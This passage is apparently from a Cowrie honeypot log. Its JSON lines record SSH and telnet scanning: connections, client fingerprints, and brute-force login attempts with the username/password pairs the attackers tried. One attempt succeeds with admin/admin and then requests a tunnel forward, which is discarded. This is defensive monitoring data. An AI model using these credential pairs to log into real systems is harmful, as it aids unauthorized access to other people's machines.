openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:13.704397Z","src_ip":"91.92.40.176","session":"503943a16390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"rasp","message":"login attempt [pi/rasp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:13.953794Z","src_ip":"91.92.40.176","session":"503943a16390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:15.036908Z","src_ip":"91.92.40.176","session":"503943a16390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":52022,"dst_ip":"10.17.0.5","dst_port":22,"session":"539959c03189","protocol":"ssh","message":"New connection: 185.243.11.39:52022 (10.17.0.5:22) [session: 539959c03189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:16.821396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:16.825011Z","src_ip":"185.243.11.39","session":"539959c03189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:16.979816Z","src_ip":"185.243.11.39","session":"539959c03189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C0!n3x$M@st3r@P@ss","message":"login attempt [root/C0!n3x$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:17.412922Z","src_ip":"185.243.11.39","session":"539959c03189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:18.564707Z","src_ip":"185.243.11.39","session":"539959c03189","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":56378,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd0bde59ffa","protocol":"ssh","message":"New connection: 194.113.233.25:56378 (10.17.0.5:22) [session: 9cd0bde59ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:25.430281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:25.447390Z","src_ip":"194.113.233.25","session":"9cd0bde59ffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:25.521500Z","src_ip":"194.113.233.25","session":"9cd0bde59ffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morena","message":"login attempt [root/morena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:25.875900Z","src_ip":"194.113.233.25","session":"9cd0bde59ffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:26.966581Z","src_ip":"194.113.233.25","session":"9cd0bde59ffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40302,"dst_ip":"159.203.135.109","dst_port":23,"session":"7842ba57d7b7","protocol":"telnet","message":"New connection: 107.6.151.170:40302 (159.203.135.109:23) [session: 7842ba57d7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:37.528421Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58854,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ec7e81eaa1d","protocol":"telnet","message":"New connection: 170.64.224.25:58854 (159.203.135.109:23) [session: 7ec7e81eaa1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:46:49.380484Z"}
{"eventid":"cowrie.session.closed","duration":32.71665906906128,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:10.244947Z","src_ip":"107.6.151.170","session":"7842ba57d7b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":16026,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5c3cc10a5fd","protocol":"ssh","message":"New connection: 176.53.159.196:16026 (159.203.135.109:22) [session: f5c3cc10a5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:13.894920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:13.897895Z","src_ip":"176.53.159.196","session":"f5c3cc10a5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:13.994488Z","src_ip":"176.53.159.196","session":"f5c3cc10a5fd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:14.284852Z","src_ip":"176.53.159.196","session":"f5c3cc10a5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:14.383066Z","session":"f5c3cc10a5fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:14.480209Z","src_ip":"176.53.159.196","session":"f5c3cc10a5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:14.578274Z","src_ip":"176.53.159.196","session":"f5c3cc10a5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":33578,"dst_ip":"159.203.135.109","dst_port":22,"session":"f178d7a5ba9a","protocol":"ssh","message":"New connection: 162.215.213.210:33578 (159.203.135.109:22) [session: f178d7a5ba9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:27.123989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:27.130324Z","src_ip":"162.215.213.210","session":"f178d7a5ba9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:27.219969Z","src_ip":"162.215.213.210","session":"f178d7a5ba9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.97441077232361,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:27.354785Z","src_ip":"170.64.224.25","session":"7ec7e81eaa1d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"bitget","password":"bitget456","message":"login attempt [bitget/bitget456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:27.488281Z","src_ip":"162.215.213.210","session":"f178d7a5ba9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:30.045338Z","src_ip":"162.215.213.210","session":"f178d7a5ba9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":55918,"dst_ip":"10.17.0.5","dst_port":22,"session":"f40ee05cdbe1","protocol":"ssh","message":"New connection: 87.251.79.125:55918 (10.17.0.5:22) [session: f40ee05cdbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:35.865501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:35.869141Z","src_ip":"87.251.79.125","session":"f40ee05cdbe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:35.939460Z","src_ip":"87.251.79.125","session":"f40ee05cdbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivan1983","message":"login attempt [root/ivan1983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:36.151455Z","src_ip":"87.251.79.125","session":"f40ee05cdbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:37.224267Z","src_ip":"87.251.79.125","session":"f40ee05cdbe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":47384,"dst_ip":"10.17.0.5","dst_port":22,"session":"751f65d745d6","protocol":"ssh","message":"New connection: 91.92.40.10:47384 (10.17.0.5:22) [session: 751f65d745d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:43.864501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:43.875510Z","src_ip":"91.92.40.10","session":"751f65d745d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:43.957327Z","src_ip":"91.92.40.10","session":"751f65d745d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345678","message":"login attempt [admin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:44.277986Z","src_ip":"91.92.40.10","session":"751f65d745d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:47:45.443038Z","src_ip":"91.92.40.10","session":"751f65d745d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":55668,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff13317bcdd1","protocol":"ssh","message":"New connection: 162.214.22.174:55668 (10.17.0.5:22) [session: ff13317bcdd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:08.420366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:08.424500Z","src_ip":"162.214.22.174","session":"ff13317bcdd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:08.512799Z","src_ip":"162.214.22.174","session":"ff13317bcdd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tf1n3x$M@st3r@P@ss","message":"login attempt [root/B1tf1n3x$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:08.782285Z","src_ip":"162.214.22.174","session":"ff13317bcdd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:10.187470Z","src_ip":"162.214.22.174","session":"ff13317bcdd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":58646,"dst_ip":"159.203.135.109","dst_port":22,"session":"789d65526aa3","protocol":"ssh","message":"New connection: 103.77.175.15:58646 (159.203.135.109:22) [session: 789d65526aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:48.933254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:48:48.936984Z","src_ip":"103.77.175.15","session":"789d65526aa3","protocol":"ssh"}
